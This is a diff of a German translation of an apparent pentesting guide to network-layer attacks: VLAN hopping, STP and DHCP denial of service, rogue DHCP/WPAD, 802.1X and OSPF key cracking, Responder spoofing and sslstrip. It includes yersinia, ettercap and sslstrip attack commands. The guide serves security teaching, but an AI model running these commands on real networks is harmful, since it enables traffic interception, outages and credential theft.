-- Durch das Pingen der **Netzwerk-Broadcast-Adresse** könnten Sie sogar Hosts innerhalb **anderer Subnetze** finden: `ping -b 255.255.255.255`
+- Durch das Pingen der **Netzwerk-Broadcast-Adresse** könnten Sie sogar Hosts in **anderen Subnetzen** finden: `ping -b 255.255.255.255`
 - Verwenden Sie die `-PE`, `-PP`, `-PM` Flags von `nmap`, um die Hostentdeckung durch das Senden von **ICMPv4 Echo**, **Zeitstempel** und **Subnetzmaskenanforderungen** durchzuführen: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
 
 ### **Wake On Lan**
 
 Wake On Lan wird verwendet, um Computer über eine **Netzwerknachricht** **einzuschalten**. Das magische Paket, das verwendet wird, um den Computer einzuschalten, ist nur ein Paket, in dem eine **MAC Dst** bereitgestellt wird und dann **16 Mal** innerhalb desselben Pakets **wiederholt** wird.\
 Solche Pakete werden normalerweise in einem **Ethernet 0x0842** oder in einem **UDP-Paket an Port 9** gesendet.\
-Wenn **keine \[MAC]** bereitgestellt wird, wird das Paket an **Broadcast-Ethernet** gesendet (und die Broadcast-MAC wird diejenige sein, die wiederholt wird).
+Wenn **keine \[MAC]** bereitgestellt wird, wird das Paket an **Broadcast-Ethernet** gesendet (und die Broadcast-MAC wird die sein, die wiederholt wird).
 ```bash
 # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
 wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
 wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
 ```
-## Scannen von Hosts
+## Scanning Hosts
 
 Sobald Sie alle IPs (extern oder intern) entdeckt haben, die Sie eingehend scannen möchten, können verschiedene Aktionen durchgeführt werden.
 
@@ -158,7 +158,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
 ```
 ### SCTP Scan
 
-**SCTP (Stream Control Transmission Protocol)** wurde entwickelt, um zusammen mit **TCP (Transmission Control Protocol)** und **UDP (User Datagram Protocol)** verwendet zu werden. Sein Hauptzweck ist es, den Transport von Telefondaten über IP-Netzwerke zu erleichtern, wobei viele der Zuverlässigkeitsmerkmale, die in **Signaling System 7 (SS7)** zu finden sind, nachgebildet werden. **SCTP** ist ein Kernbestandteil der **SIGTRAN**-Protokollfamilie, die darauf abzielt, SS7-Signale über IP-Netzwerke zu transportieren.
+**SCTP (Stream Control Transmission Protocol)** wurde entwickelt, um zusammen mit **TCP (Transmission Control Protocol)** und **UDP (User Datagram Protocol)** verwendet zu werden. Sein Hauptzweck ist es, den Transport von Telefondaten über IP-Netzwerke zu erleichtern, wobei viele der Zuverlässigkeitsmerkmale, die im **Signaling System 7 (SS7)** zu finden sind, nachgebildet werden. **SCTP** ist ein Kernbestandteil der **SIGTRAN**-Protokollfamilie, die darauf abzielt, SS7-Signale über IP-Netzwerke zu transportieren.
 
 Die Unterstützung für **SCTP** wird von verschiedenen Betriebssystemen bereitgestellt, wie **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** und **VxWorks**, was auf seine breite Akzeptanz und Nützlichkeit im Bereich der Telekommunikation und Netzwerktechnologie hinweist.
 
@@ -169,14 +169,14 @@ nmap -T4 -sY -n -oA SCTFastScan <IP>
 # Nmap all SCTP scan
 nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
 ```
-### IDS- und IPS-Umgehung
+### IDS und IPS Umgehung
 
 
 {{#ref}}
 ids-evasion.md
 {{#endref}}
 
-### **Weitere nmap-Optionen**
+### **Weitere nmap Optionen**
 
 
 {{#ref}}
@@ -259,13 +259,13 @@ In modernen Switches wurde diese Schwachstelle behoben.
 
 #### Dynamisches Trunking
 
-Das **Dynamic Trunking Protocol (DTP)** ist als Protokoll der Sicherungsschicht konzipiert, um ein automatisches System für das Trunking zu ermöglichen, das es Switches erlaubt, Ports automatisch für den Trunk-Modus (Trunk) oder den Nicht-Trunk-Modus auszuwählen. Der Einsatz von **DTP** wird oft als Indikator für suboptimales Netzwerkdesign angesehen, was die Bedeutung der manuellen Konfiguration von Trunks nur dort unterstreicht, wo es notwendig ist, und die ordnungsgemäße Dokumentation sicherzustellen.
+Das **Dynamic Trunking Protocol (DTP)** ist als Protokoll der Sicherungsschicht konzipiert, um ein automatisches System für das Trunking zu ermöglichen, das es Switches erlaubt, automatisch Ports für den Trunk-Modus (Trunk) oder den Nicht-Trunk-Modus auszuwählen. Der Einsatz von **DTP** wird oft als Hinweis auf suboptimales Netzwerkdesign angesehen, was die Bedeutung der manuellen Konfiguration von Trunks nur dort unterstreicht, wo es notwendig ist, und die ordnungsgemäße Dokumentation sicherzustellen.
 
 Standardmäßig sind Switch-Ports so eingestellt, dass sie im Dynamic Auto-Modus arbeiten, was bedeutet, dass sie bereit sind, das Trunking zu initiieren, wenn sie von einem benachbarten Switch dazu aufgefordert werden. Ein Sicherheitsproblem entsteht, wenn ein Pentester oder Angreifer sich mit dem Switch verbindet und ein DTP Desirable-Frame sendet, wodurch der Port in den Trunk-Modus versetzt wird. Diese Aktion ermöglicht es dem Angreifer, VLANs durch die Analyse von STP-Frames aufzulisten und die VLAN-Segmentierung zu umgehen, indem virtuelle Schnittstellen eingerichtet werden.
 
-Die standardmäßige Präsenz von DTP in vielen Switches kann von Gegnern ausgenutzt werden, um das Verhalten eines Switches nachzuahmen und so Zugriff auf den Datenverkehr über alle VLANs zu erhalten. Das Skript [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) wird verwendet, um eine Schnittstelle zu überwachen und zu zeigen, ob ein Switch im Default-, Trunk-, Dynamic-, Auto- oder Access-Modus ist – letzterer ist die einzige Konfiguration, die gegen VLAN-Hopping-Angriffe immun ist. Dieses Tool bewertet den Vulnerabilitätsstatus des Switches.
+Die standardmäßige Präsenz von DTP in vielen Switches kann von Gegnern ausgenutzt werden, um das Verhalten eines Switches nachzuahmen und so Zugriff auf den Datenverkehr über alle VLANs zu erhalten. Das Skript [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) wird verwendet, um eine Schnittstelle zu überwachen und zu zeigen, ob ein Switch im Default-, Trunk-, Dynamic-, Auto- oder Access-Modus ist—letzteres ist die einzige Konfiguration, die gegen VLAN-Hopping-Angriffe immun ist. Dieses Tool bewertet den Vulnerabilitätsstatus des Switches.
 
-Sollte eine Netzwerkschwachstelle identifiziert werden, kann das _**Yersinia**_ Tool eingesetzt werden, um "Trunking zu aktivieren" über das DTP-Protokoll, was die Beobachtung von Paketen aus allen VLANs ermöglicht.
+Sollte eine Netzwerkschwachstelle identifiziert werden, kann das _**Yersinia**_-Tool eingesetzt werden, um "Trunking zu aktivieren" über das DTP-Protokoll, was die Beobachtung von Paketen aus allen VLANs ermöglicht.
 ```bash
 apt-get install yersinia #Installation
 sudo apt install kali-linux-large #Another way to install it in Kali
@@ -282,7 +282,7 @@ Um die VLANs aufzulisten, ist es auch möglich, das DTP Desirable-Frame mit dem
 ```
 sudo python3 DTPHijacking.py --interface eth0
 ```
-Ich möchte darauf hinweisen, dass **Access/Desirable (0x03)** anzeigt, dass der DTP-Rahmen vom Typ Desirable ist, was dem Port sagt, in den Trunk-Modus zu wechseln. Und **802.1Q/802.1Q (0xa5)** zeigt den **802.1Q** Kapselungstyp an.
+Ich möchte darauf hinweisen, dass **Access/Desirable (0x03)** anzeigt, dass der DTP-Rahmen vom Desirable-Typ ist, was dem Port sagt, in den Trunk-Modus zu wechseln. Und **802.1Q/802.1Q (0xa5)** zeigt den **802.1Q** Kapselungstyp an.
 
 Durch die Analyse der STP-Rahmen **erfahren wir von der Existenz von VLAN 30 und VLAN 60.**
 
@@ -330,9 +330,9 @@ Der besprochene Angriff von **Dynamic Trunking und dem Erstellen virtueller Schn
 
 #### Doppelte Tagging
 
-Wenn ein Angreifer den Wert der **MAC, IP und VLAN-ID des Opferhosts** kennt, könnte er versuchen, ein **Frame doppelt zu taggen** mit dem vorgesehenen VLAN und dem VLAN des Opfers und ein Paket zu senden. Da das **Opfer nicht in der Lage sein wird, mit dem Angreifer zurück zu kommunizieren**, ist die **beste Option für den Angreifer, über UDP zu kommunizieren** zu Protokollen, die einige interessante Aktionen durchführen können (wie SNMP).
+Wenn ein Angreifer den Wert der **MAC, IP und VLAN-ID des Opferhosts** kennt, könnte er versuchen, ein **Frame doppelt zu taggen** mit dem zugewiesenen VLAN und dem VLAN des Opfers und ein Paket zu senden. Da das **Opfer nicht in der Lage sein wird, mit dem Angreifer zurück zu kommunizieren**, ist die **beste Option für den Angreifer, über UDP zu kommunizieren** zu Protokollen, die einige interessante Aktionen durchführen können (wie SNMP).
 
-Eine weitere Option für den Angreifer ist, einen **TCP-Port-Scan durchzuführen, indem er eine IP vortäuscht, die vom Angreifer kontrolliert wird und für das Opfer zugänglich ist** (wahrscheinlich über das Internet). Dann könnte der Angreifer im zweiten von ihm besessenen Host sniffen, ob er einige Pakete vom Opfer erhält.
+Eine weitere Option für den Angreifer ist es, einen **TCP-Port-Scan durchzuführen, indem er eine IP fälscht, die vom Angreifer kontrolliert wird und für das Opfer zugänglich ist** (wahrscheinlich über das Internet). Dann könnte der Angreifer im zweiten Host, der ihm gehört, sniffen, ob er einige Pakete vom Opfer erhält.
 
 ![](<../../images/image (190).png>)
 
@@ -353,7 +353,7 @@ lateral-vlan-segmentation-bypass.md
 
 #### Layer 3 Private VLAN Bypass
 
-In bestimmten Umgebungen, wie z.B. Gast-WLAN-Netzwerken, werden **Port-Isolations- (auch bekannt als Private VLAN)**-Einstellungen implementiert, um zu verhindern, dass Clients, die mit einem drahtlosen Zugangspunkt verbunden sind, direkt miteinander kommunizieren. Es wurde jedoch eine Technik identifiziert, die diese Isolationsmaßnahmen umgehen kann. Diese Technik nutzt entweder das Fehlen von Netzwerk-ACLs oder deren unsachgemäße Konfiguration aus, wodurch IP-Pakete über einen Router zu einem anderen Client im selben Netzwerk geleitet werden können.
+In bestimmten Umgebungen, wie z.B. Gast-WLAN-Netzwerken, werden **Port-Isolations- (auch bekannt als Private VLAN)**-Einstellungen implementiert, um zu verhindern, dass Clients, die mit einem drahtlosen Zugangspunkt verbunden sind, direkt miteinander kommunizieren. Es wurde jedoch eine Technik identifiziert, die diese Isolationsmaßnahmen umgehen kann. Diese Technik nutzt entweder das Fehlen von Netzwerk-ACLs oder deren unsachgemäße Konfiguration aus, wodurch IP-Pakete über einen Router an einen anderen Client im selben Netzwerk weitergeleitet werden können.
 
 Der Angriff wird ausgeführt, indem ein **Paket erstellt wird, das die IP-Adresse des Ziel-Clients, jedoch mit der MAC-Adresse des Routers** trägt. Dies führt dazu, dass der Router das Paket fälschlicherweise an den Ziel-Client weiterleitet. Dieser Ansatz ähnelt dem, der bei Double Tagging Attacks verwendet wird, bei dem die Fähigkeit, einen für das Opfer zugänglichen Host zu kontrollieren, genutzt wird, um die Sicherheitsanfälligkeit auszunutzen.
 
@@ -366,19 +366,19 @@ Der Angriff wird ausgeführt, indem ein **Paket erstellt wird, das die IP-Adress
 
 VTP (VLAN Trunking Protocol) zentralisiert das VLAN-Management. Es verwendet Versionsnummern, um die Integrität der VLAN-Datenbank aufrechtzuerhalten; jede Änderung erhöht diese Nummer. Switches übernehmen Konfigurationen mit höheren Versionsnummern und aktualisieren ihre eigenen VLAN-Datenbanken.
 
-#### VTP-Domänenrollen
+#### VTP-Domain-Rollen
 
-- **VTP-Server:** Verwaltet VLANs—erstellt, löscht, ändert. Er sendet VTP-Ankündigungen an die Mitglieder der Domäne.
+- **VTP-Server:** Verwaltet VLANs—erstellt, löscht, ändert. Er sendet VTP-Ankündigungen an die Mitglieder der Domain.
 - **VTP-Client:** Empfängt VTP-Ankündigungen, um seine VLAN-Datenbank zu synchronisieren. Diese Rolle ist von lokalen VLAN-Konfigurationsänderungen ausgeschlossen.
 - **VTP-Transparent:** Nimmt nicht an VTP-Updates teil, leitet jedoch VTP-Ankündigungen weiter. Unberührt von VTP-Angriffen, behält es eine konstante Versionsnummer von null bei.
 
 #### VTP-Ankündigungstypen
 
-- **Zusammenfassungsankündigung:** Wird alle 300 Sekunden vom VTP-Server gesendet und enthält wesentliche Domäneninformationen.
+- **Zusammenfassungsankündigung:** Wird alle 300 Sekunden vom VTP-Server gesendet und enthält wesentliche Domaininformationen.
-- **Teilansage:** Wird nach Änderungen an der VLAN-Konfiguration gesendet.
+- **Teilmenge-Ankündigung:** Wird nach Änderungen an der VLAN-Konfiguration gesendet.
 - **Ankündigungsanfrage:** Wird von einem VTP-Client ausgegeben, um eine Zusammenfassungsankündigung anzufordern, typischerweise als Reaktion auf die Erkennung einer höheren Konfigurationsversionsnummer.
 
-VTP-Sicherheitsanfälligkeiten sind ausschließlich über Trunk-Ports ausnutzbar, da VTP-Ankündigungen ausschließlich durch diese zirkulieren. Nach DTP-Angriffszenarien könnte der Fokus auf VTP verschwenken. Tools wie Yersinia können VTP-Angriffe erleichtern, die darauf abzielen, die VLAN-Datenbank zu löschen und das Netzwerk effektiv zu stören.
+VTP-Sicherheitsanfälligkeiten sind ausschließlich über Trunk-Ports ausnutzbar, da VTP-Ankündigungen ausschließlich durch diese zirkulieren. Nach DTP-Angriffsszenarien könnte der Fokus auf VTP verschwenken. Tools wie Yersinia können VTP-Angriffe erleichtern, die darauf abzielen, die VLAN-Datenbank zu löschen und das Netzwerk effektiv zu stören.
 
 Hinweis: Diese Diskussion bezieht sich auf VTP-Version 1 (VTPv1).
 ````bash
@@ -400,7 +400,7 @@ yersinia stp -attack 3
 ```
 #### **STP TCP-Angriff**
 
-Wenn ein TCP gesendet wird, wird die CAM-Tabelle der Switches in 15 Sekunden gelöscht. Wenn Sie dann kontinuierlich diese Art von Paketen senden, wird die CAM-Tabelle kontinuierlich (oder alle 15 Sekunden) neu gestartet, und wenn sie neu gestartet wird, verhält sich der Switch wie ein Hub.
+Wenn ein TCP gesendet wird, wird die CAM-Tabelle der Switches nach 15 Sekunden gelöscht. Wenn Sie dann kontinuierlich diese Art von Paketen senden, wird die CAM-Tabelle kontinuierlich (oder alle 15 Sekunden) neu gestartet, und wenn sie neu gestartet wird, verhält sich der Switch wie ein Hub.
 ```bash
 yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
 yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
@@ -413,7 +413,7 @@ Dies geschieht, indem BPDUs CONF-Pakete gesendet werden, die besagen, dass der *
 yersinia stp -attack 4 #Behaves like the root switch
 yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
 ```
-**Wenn der Angreifer mit 2 Switches verbunden ist, kann er die Wurzel des neuen Baumes sein und der gesamte Verkehr zwischen diesen Switches wird über ihn geleitet** (ein MITM-Angriff wird durchgeführt).
+**Wenn der Angreifer mit 2 Switches verbunden ist, kann er der Wurzel des neuen Baumes sein und der gesamte Verkehr zwischen diesen Switches wird durch ihn geleitet** (ein MITM-Angriff wird durchgeführt).
 ```bash
 yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
 ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
@@ -424,7 +424,7 @@ CISCO Discovery Protocol (CDP) ist entscheidend für die Kommunikation zwischen
 
 #### Passive Datensammlung <a href="#id-0e0f" id="id-0e0f"></a>
 
-CDP ist so konfiguriert, dass es Informationen über alle Ports sendet, was ein Sicherheitsrisiko darstellen kann. Ein Angreifer, der sich mit einem Switch-Port verbindet, könnte Netzwerksniffer wie **Wireshark**, **tcpdump** oder **Yersinia** einsetzen. Diese Aktion kann sensible Daten über das Netzwerkgerät offenbaren, einschließlich seines Modells und der Version von Cisco IOS, die es verwendet. Der Angreifer könnte dann gezielt spezifische Schwachstellen in der identifizierten Cisco IOS-Version angreifen.
+CDP ist so konfiguriert, dass es Informationen über alle Ports sendet, was ein Sicherheitsrisiko darstellen kann. Ein Angreifer könnte, nachdem er sich mit einem Switch-Port verbunden hat, Netzwerksniffer wie **Wireshark**, **tcpdump** oder **Yersinia** einsetzen. Diese Aktion kann sensible Daten über das Netzwerkgerät offenbaren, einschließlich seines Modells und der Version von Cisco IOS, die es verwendet. Der Angreifer könnte dann gezielt spezifische Schwachstellen in der identifizierten Cisco IOS-Version angreifen.
 
 #### Induzierung von CDP-Tabellenflut <a href="#id-0d6a" id="id-0d6a"></a>
 
@@ -445,15 +445,15 @@ Sie können auch [**scapy**](https://github.com/secdev/scapy/) verwenden. Stelle
 
 ### VoIP-Angriffe und das VoIP Hopper-Tool
 
-VoIP-Telefone, die zunehmend mit IoT-Geräten integriert sind, bieten Funktionen wie das Entsperren von Türen oder die Steuerung von Thermostaten über spezielle Telefonnummern. Diese Integration kann jedoch Sicherheitsrisiken mit sich bringen.
+VoIP-Telefone, die zunehmend mit IoT-Geräten integriert sind, bieten Funktionen wie das Entsperren von Türen oder das Steuern von Thermostaten über spezielle Telefonnummern. Diese Integration kann jedoch Sicherheitsrisiken mit sich bringen.
 
 Das Tool [**voiphopper**](http://voiphopper.sourceforge.net) ist dafür ausgelegt, ein VoIP-Telefon in verschiedenen Umgebungen (Cisco, Avaya, Nortel, Alcatel-Lucent) zu emulieren. Es entdeckt die VLAN-ID des Sprachnetzwerks mithilfe von Protokollen wie CDP, DHCP, LLDP-MED und 802.1Q ARP.
 
 **VoIP Hopper** bietet drei Modi für das Cisco Discovery Protocol (CDP):
 
-1. **Sniff Mode** (`-c 0`): Analysiert Netzwerkpakete, um die VLAN-ID zu identifizieren.
+1. **Sniff-Modus** (`-c 0`): Analysiert Netzwerkpakete, um die VLAN-ID zu identifizieren.
-2. **Spoof Mode** (`-c 1`): Generiert benutzerdefinierte Pakete, die denen eines tatsächlichen VoIP-Geräts ähneln.
+2. **Spoof-Modus** (`-c 1`): Generiert benutzerdefinierte Pakete, die denen eines tatsächlichen VoIP-Geräts ähneln.
-3. **Spoof with Pre-made Packet Mode** (`-c 2`): Sendet Pakete, die identisch mit denen eines bestimmten Cisco-IP-Telefonmodells sind.
+3. **Spoof mit vorgefertigtem Paketmodus** (`-c 2`): Sendet Pakete, die identisch mit denen eines bestimmten Cisco-IP-Telefonmodells sind.
 
 Der bevorzugte Modus für Geschwindigkeit ist der dritte. Es erfordert die Angabe von:
 
@@ -462,7 +462,7 @@ Der bevorzugte Modus für Geschwindigkeit ist der dritte. Es erfordert die Angab
 
 In Unternehmensumgebungen könnte man, um ein bestehendes VoIP-Gerät zu imitieren:
 
-- Das MAC-Etikett auf dem Telefon überprüfen.
+- Das MAC-Etikett am Telefon überprüfen.
 - Die Anzeigeeinstellungen des Telefons durchsuchen, um Modellinformationen anzuzeigen.
 - Das VoIP-Gerät mit einem Laptop verbinden und CDP-Anfragen mit Wireshark beobachten.
 
@@ -495,7 +495,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
 **Zwei Arten von DoS** können gegen DHCP-Server durchgeführt werden. Die erste besteht darin, **genug gefälschte Hosts zu simulieren, um alle möglichen IP-Adressen zu nutzen**.\
 Dieser Angriff funktioniert nur, wenn Sie die Antworten des DHCP-Servers sehen können und das Protokoll abschließen (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Zum Beispiel ist dies **in Wifi-Netzwerken nicht möglich**.
 
-Eine andere Möglichkeit, einen DHCP DoS durchzuführen, besteht darin, ein **DHCP-RELEASE-Paket zu senden, wobei jede mögliche IP als Quellcode verwendet wird**. Dann wird der Server denken, dass jeder die IP nicht mehr verwendet.
+Eine andere Möglichkeit, einen DHCP DoS durchzuführen, besteht darin, ein **DHCP-RELEASE-Paket zu senden, wobei jede mögliche IP als Quelladresse verwendet wird**. Dann wird der Server denken, dass jeder die IP-Nutzung beendet hat.
 ```bash
 yersinia dhcp -attack 1
 yersinia dhcp -attack 3 #More parameters are needed
@@ -518,7 +518,7 @@ Im Folgenden sind die Befehlsoptionen zur Konfiguration des bösartigen DHCP-Ser
 - **Netzmaske des lokalen Netzwerks**: Verwenden Sie `-n 255.255.255.0`, um die Netzmaske für das lokale Netzwerk zu definieren.
 - **Schnittstelle für DHCP-Verkehr**: Verwenden Sie `-I eth1`, um auf einer bestimmten Netzwerkschnittstelle auf DHCP-Verkehr zu hören.
 - **WPAD-Konfigurationsadresse**: Verwenden Sie `-w “http://10.0.0.100/wpad.dat”`, um die Adresse für die WPAD-Konfiguration festzulegen, die beim Abfangen von Webverkehr hilft.
-- **Standard-Gateway-IP fälschen**: Fügen Sie `-S` hinzu, um die IP-Adresse des Standardgateways zu fälschen.
+- **Standard-Gateway-IP fälschen**: Fügen Sie `-S` hinzu, um die IP-Adresse des Standard-Gateways zu fälschen.
 - **Auf alle DHCP-Anfragen antworten**: Fügen Sie `-R` hinzu, um den Server dazu zu bringen, auf alle DHCP-Anfragen zu antworten, aber seien Sie sich bewusst, dass dies laut ist und erkannt werden kann.
 
 Durch die korrekte Verwendung dieser Optionen kann ein bösartiger DHCP-Server eingerichtet werden, um den Netzwerkverkehr effektiv abzufangen.
@@ -530,9 +530,9 @@ Durch die korrekte Verwendung dieser Optionen kann ein bösartiger DHCP-Server e
 
 Hier sind einige der Angriffstaktiken, die gegen 802.1X-Implementierungen verwendet werden können:
 
-- Aktives Brute-Force-Passwortgrinding über EAP
+- Aktives Brute-Force-Passwort-Grounding über EAP
 - Angreifen des RADIUS-Servers mit fehlerhaften EAP-Inhalten _\*\*_(Exploits)
-- EAP-Nachrichtenerfassung und Offline-Passwortknacken (EAP-MD5 und PEAP)
+- EAP-Nachrichtenerfassung und Offline-Passwort-Cracking (EAP-MD5 und PEAP)
 - Erzwingen der EAP-MD5-Authentifizierung, um die TLS-Zertifikatsvalidierung zu umgehen
 - Einspeisen von bösartigem Netzwerkverkehr beim Authentifizieren über einen Hub oder Ähnliches
 
@@ -542,7 +542,7 @@ eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
 ```
 ### FHRP (GLBP & HSRP) Angriffe <a href="#id-6196" id="id-6196"></a>
 
-**FHRP** (First Hop Redundancy Protocol) ist eine Klasse von Netzwerkprotokollen, die entwickelt wurden, um **ein heiß redundantes Routing-System** zu schaffen. Mit FHRP können physische Router zu einem einzigen logischen Gerät kombiniert werden, was die Fehlertoleranz erhöht und hilft, die Last zu verteilen.
+**FHRP** (First Hop Redundancy Protocol) ist eine Klasse von Netzwerkprotokollen, die entwickelt wurden, um **ein heiß redundantes Routing-System zu schaffen**. Mit FHRP können physische Router zu einem einzigen logischen Gerät kombiniert werden, was die Fehlertoleranz erhöht und hilft, die Last zu verteilen.
 
 **Cisco Systems-Ingenieure haben zwei FHRP-Protokolle entwickelt, GLBP und HSRP.**
 
@@ -565,7 +565,7 @@ Beachten Sie, dass RIPv2 MD5-Authentifizierung unterstützt, während RIPng kein
 
 Um ein EIGRP-System anzugreifen, ist es erforderlich, **eine Nachbarschaft mit einem legitimen EIGRP-Router herzustellen**, was viele Möglichkeiten eröffnet, von grundlegender Aufklärung bis hin zu verschiedenen Injektionen.
 
-[**FRRouting**](https://frrouting.org/) ermöglicht es Ihnen, **einen virtuellen Router zu implementieren, der BGP, OSPF, EIGRP, RIP und andere Protokolle unterstützt.** Alles, was Sie tun müssen, ist, ihn auf dem System des Angreifers bereitzustellen, und Sie können tatsächlich vorgeben, ein legitimer Router im Routing-Domain zu sein.
+[**FRRouting**](https://frrouting.org/) ermöglicht es Ihnen, **einen virtuellen Router zu implementieren, der BGP, OSPF, EIGRP, RIP und andere Protokolle unterstützt.** Alles, was Sie tun müssen, ist, es auf dem System des Angreifers bereitzustellen, und Sie können tatsächlich vorgeben, ein legitimer Router im Routing-Domain zu sein.
 
 {{#ref}}
 eigrp-attacks.md
@@ -575,7 +575,7 @@ eigrp-attacks.md
 
 ### OSPF
 
-Im Open Shortest Path First (OSPF) Protokoll **wird MD5-Authentifizierung häufig verwendet, um eine sichere Kommunikation zwischen Routern zu gewährleisten**. Diese Sicherheitsmaßnahme kann jedoch mit Tools wie Loki und John the Ripper kompromittiert werden. Diese Tools sind in der Lage, MD5-Hashes zu erfassen und zu knacken, wodurch der Authentifizierungsschlüssel offengelegt wird. Sobald dieser Schlüssel erlangt wurde, kann er verwendet werden, um neue Routing-Informationen einzuführen. Um die Routenparameter zu konfigurieren und den kompromittierten Schlüssel festzulegen, werden die _Injection_- und _Connection_-Tabs verwendet.
+Im Open Shortest Path First (OSPF) Protokoll **wird MD5-Authentifizierung häufig verwendet, um eine sichere Kommunikation zwischen Routern zu gewährleisten**. Diese Sicherheitsmaßnahme kann jedoch mit Tools wie Loki und John the Ripper kompromittiert werden. Diese Tools sind in der Lage, MD5-Hashes zu erfassen und zu knacken, wodurch der Authentifizierungsschlüssel offengelegt wird. Sobald dieser Schlüssel erhalten ist, kann er verwendet werden, um neue Routing-Informationen einzuführen. Um die Routenparameter zu konfigurieren und den kompromittierten Schlüssel festzulegen, werden die _Injection_- und _Connection_-Tabs verwendet.
 
 - **Erfassen und Knacken von MD5-Hashes:** Tools wie Loki und John the Ripper werden dafür verwendet.
 - **Konfigurieren von Routenparametern:** Dies erfolgt über den _Injection_-Tab.
@@ -647,15 +647,15 @@ Lesen Sie hier mehr Informationen darüber, [wie man Dienste mit Responder nacha
 
 Browser verwenden häufig das **Web Proxy Auto-Discovery (WPAD)-Protokoll, um automatisch Proxy-Einstellungen zu erwerben**. Dies beinhaltet das Abrufen von Konfigurationsdetails von einem Server, insbesondere über eine URL wie "http://wpad.example.org/wpad.dat". Die Entdeckung dieses Servers durch die Clients kann durch verschiedene Mechanismen erfolgen:
 
-- Über **DHCP**, wo die Entdeckung durch die Nutzung eines speziellen Codes 252 Eintrags erleichtert wird.
+- Über **DHCP**, wobei die Entdeckung durch die Nutzung eines speziellen Codes 252 erleichtert wird.
 - Durch **DNS**, was die Suche nach einem Hostnamen mit der Bezeichnung _wpad_ innerhalb der lokalen Domäne umfasst.
 - Über **Microsoft LLMNR und NBT-NS**, die als Fallback-Mechanismen verwendet werden, wenn DNS-Abfragen nicht erfolgreich sind.
 
-Das Tool Responder nutzt dieses Protokoll, indem es als **bösartiger WPAD-Server** fungiert. Es verwendet DHCP, DNS, LLMNR und NBT-NS, um Clients in die Irre zu führen und sie dazu zu bringen, sich mit ihm zu verbinden. Um tiefer in die Nachahmung von Diensten mit Responder einzutauchen, [prüfen Sie dies](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
+Das Tool Responder nutzt dieses Protokoll, indem es als **bösartiger WPAD-Server** fungiert. Es verwendet DHCP, DNS, LLMNR und NBT-NS, um Clients in die Irre zu führen und sie dazu zu bringen, sich mit ihm zu verbinden. Um mehr darüber zu erfahren, wie Dienste mit Responder nachgeahmt werden können, [sehen Sie sich dies an](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
 
 ### [Spoofing SSDP und UPnP-Geräte](spoofing-ssdp-and-upnp-devices.md)
 
-Sie können verschiedene Dienste im Netzwerk anbieten, um zu versuchen, einen **Benutzer** dazu zu bringen, einige **Klartext-Anmeldeinformationen** einzugeben. **Mehr Informationen über diesen Angriff in** [**Spoofing SSDP und UPnP-Geräte**](spoofing-ssdp-and-upnp-devices.md)**.**
+Sie können verschiedene Dienste im Netzwerk anbieten, um zu versuchen, einen **Benutzer zu täuschen**, damit er einige **Klartext-Anmeldeinformationen** eingibt. **Mehr Informationen über diesen Angriff in** [**Spoofing SSDP und UPnP-Geräte**](spoofing-ssdp-and-upnp-devices.md)**.**
 
 ### IPv6 Neighbor Spoofing
 
@@ -687,7 +687,7 @@ mitm6
 
 ### sslStrip
 
-Im Grunde genommen besteht dieser Angriff darin, dass, falls der **Benutzer** versucht, eine **HTTP**-Seite zu **zugreifen**, die auf die **HTTPS**-Version **umleitet**. **sslStrip** wird eine **HTTP-Verbindung mit** dem **Client** und eine **HTTPS-Verbindung mit** dem **Server** **aufrechterhalten**, sodass er die Verbindung im **Klartext** **abhören** kann.
+Im Grunde genommen besteht dieser Angriff darin, dass, falls der **Benutzer** versucht, eine **HTTP**-Seite zu **zugreifen**, die auf die **HTTPS**-Version **umgeleitet** wird. **sslStrip** wird eine **HTTP-Verbindung mit** dem **Client** und eine **HTTPS-Verbindung mit** dem **Server** **aufrechterhalten**, sodass es in der Lage ist, die Verbindung im **Klartext** zu **sniffen**.
 ```bash
 apt-get install sslstrip
 sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
@@ -700,14 +700,14 @@ Mehr Informationen [hier](https://www.blackhat.com/presentations/bh-dc-09/Marlin
 
 ### sslStrip+ und dns2proxy zum Umgehen von HSTS
 
-Der **Unterschied** zwischen **sslStrip+ und dns2proxy** im Vergleich zu **sslStrip** besteht darin, dass sie beispielsweise _**www.facebook.com**_ **zu** _**wwww.facebook.com**_ **umleiten** (beachten Sie das **zusätzliche** "**w**") und die **Adresse dieser Domain als die Angreifer-IP** festlegen. Auf diese Weise wird der **Client** mit _**wwww.facebook.com**_ **(dem Angreifer)** **verbinden**, während **sslstrip+** im Hintergrund die **echte Verbindung** über https mit **www.facebook.com** **aufrechterhält**.
+Der **Unterschied** zwischen **sslStrip+ und dns2proxy** im Vergleich zu **sslStrip** besteht darin, dass sie **umleiten**, zum Beispiel _**www.facebook.com**_ **zu** _**wwww.facebook.com**_ (beachten Sie das **zusätzliche** "**w**") und die **Adresse dieser Domain als die Angreifer-IP** festlegen. Auf diese Weise wird der **Client** mit _**wwww.facebook.com**_ **(dem Angreifer)** verbunden, während **sslstrip+** im Hintergrund die **echte Verbindung** über https mit **www.facebook.com** **aufrechterhält**.
 
